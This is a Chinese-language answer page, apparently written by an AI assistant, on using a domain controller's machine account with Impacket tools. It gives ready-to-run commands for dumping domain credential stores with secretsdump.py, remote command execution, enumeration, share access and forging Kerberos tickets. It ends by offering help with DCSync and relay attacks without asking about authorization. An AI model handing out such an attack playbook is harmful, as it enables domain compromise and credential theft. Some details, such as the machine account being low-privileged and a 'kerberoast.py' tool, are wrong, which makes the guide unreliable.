跳到主要内容

问:有了域控的机器账户,请问可以使用 impacket 套件中的哪些工具?

如果你已经拥有了 域控(Domain Controller)的机器账户(即计算机账户),可以使用 Impacket 套件中的一些工具来执行横向移动、认证、信息收集等操作。尽管机器账户权限较低,但如果配置不当,可以被用于攻击。例如,如果域控允许某些服务使用机器账户进行认证,攻击者可利用它进一步渗透。


✅ 可用的 Impacket 工具列表(常见用法)

前提:你拥有域控的机器账户名与密码(如:DC01$ / 密码

1. secretsdump.py

  • 功能:从域控导出 NTDS.dit、LSA secrets 等。
  • 适用条件:需要有高权限(通常不适合机器账户,除非配置错误)。
  • 如果机器账户被添加进 Backup Operators 组或者权限设置错误,可能可行。
secretsdump.py -just-dc 'TEST.LOCAL/DC01$':'Password123'

2. smbexec.py / wmiexec.py / psexec.py

  • 功能:远程执行命令。
  • 限制:机器账户通常没有远程登录权限,除非明确被授权。
  • 但可尝试对自身或错误配置的主机使用
smbexec.py 'TEST.LOCAL/DC01$':'Password123'@target-ip

3. rpcdump.py

  • 功能:列举目标机器上的 RPC 接口。
  • 适用场景:信息收集,无需高权限。
rpcdump.py 'TEST.LOCAL/DC01$':'Password123'@target-ip

4. lookupsid.py

  • 功能:枚举目标主机的 SID 和用户。
  • 适合低权限账户(包括机器账户)
lookupsid.py 'TEST.LOCAL/DC01$':'Password123'@dc-ip

5. smbclient.py

  • 功能:访问共享目录。
  • 若机器账户被允许访问共享,则可用于列目录/上传/下载等
smbclient.py 'TEST.LOCAL/DC01$':'Password123'@dc-ip

6. ticketer.py

  • 功能:伪造 Kerberos TGT。
  • 结合 krb5 票据使用(机器账户的 hash 可用)
ticketer.py -nthash <NTLM_HASH> -domain-sid <SID> -domain TEST.LOCAL -user-id 500

7. getTGT.py / getST.py

  • 功能:请求 TGT/ST 票据。
  • 可用机器账户进行 Kerberos 身份验证。
getTGT.py -dc-ip <dc-ip> TEST.LOCAL/DC01\$ -pass 'Password123'

8. kerberoast.py

  • 功能:获取服务票据并尝试破解服务账号密码(针对 SPN)。
  • 机器账户也可发起 Kerberos 请求,只要能请求 TGT 就行

⚠️ 注意事项

  • 机器账户名结尾是 $(例如 DC01$),认证时仍然用 DC01$
  • Kerberos 时需要加 \ 转义或使用 -user DC01\$
  • 机器账户权限通常受限,如果能访问高权限服务,可能是配置问题或攻击点。

如需进一步利用机器账户做 Kerberos relay、AS-REP roasting、DCSync 等操作,请说明你的目标和环境,我可以给出更精确的建议。